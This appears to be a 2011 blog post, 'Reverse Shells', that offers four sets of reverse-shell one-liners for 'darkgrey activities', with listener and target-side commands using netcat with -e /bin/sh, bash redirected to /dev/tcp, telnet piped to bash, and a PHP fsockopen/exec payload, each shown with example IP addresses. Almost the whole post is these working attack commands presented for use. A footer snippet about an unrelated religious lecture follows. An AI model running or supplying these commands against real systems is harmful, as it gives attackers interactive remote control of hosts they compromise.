Tuesday, May 10, 2011

Reverse Shells

Hereby reverse shells that may become handy during your darkgrey activities ... may the shells be with you :


PLAN #A

*** Our side :
nc -l -v $myipaddress $myport

sp8bowl:~ spikecursed$ nc -l -v 10.0.50.100 5443

*** Remote side :
nc -e /bin/sh $myipaddress $myport

websrv:~ users$ nc -e /bin/sh 10.0.50.100 5443

or

/bin/sh | nc $myipaddress $myport
websrv:~ users$ /bin/sh | nc 10.0.50.100 5443


PLAN #B

*** Remote side :
bash -i >& /dev/tcp/$theiripaddress/$theirport 0>&1

websrv:~ users$ bash -i>& /dev/tcp/10.1.50.100/5443 0>&1

*** Our side :
nc $theiripaddress $theirport
sp8bowl:~ spikecursed$ nc 10.1.50.100 5443


PLAN #C

*** Our side :
nc -l -v $myipaddress $myport
sp8bowl:~ spikecursed$ nc -l -v 10.1.50.100 5443

*** Remote side :
telnet $myipaddress $myport | /bin/bash 
websrv:~ users$ telnet 10.1.50.100 5443



PLAN #D

*** Our side :
nc -l -v $myipaddress $myport
sp8bowl:~ spikecursed$ nc -l -v 10.0.50.100 5443


*** Remote side :
php -r '$sock=fsockopen("$myipaddress",$myport);exec("/bin/sh -i <&3 >&3 2>&3");'
websrv:~ users$ php -r '$sock=fsockopen("10.0.50.100",$myport);exec("/bin/sh -i <&3 >&3 2>&3");'


No comments:

40 Hadist Seputar Keluarga Samawa (Bagian 3)

 ﷽ Ustadz Yusuf Abu Ubaidah As-Sidawi hafizahullohuta'ala Masjid Al-Aziz  Jl. Soekarno Hatta No. 662 Bandung Hadist 11 : Doa Orangtua Bu...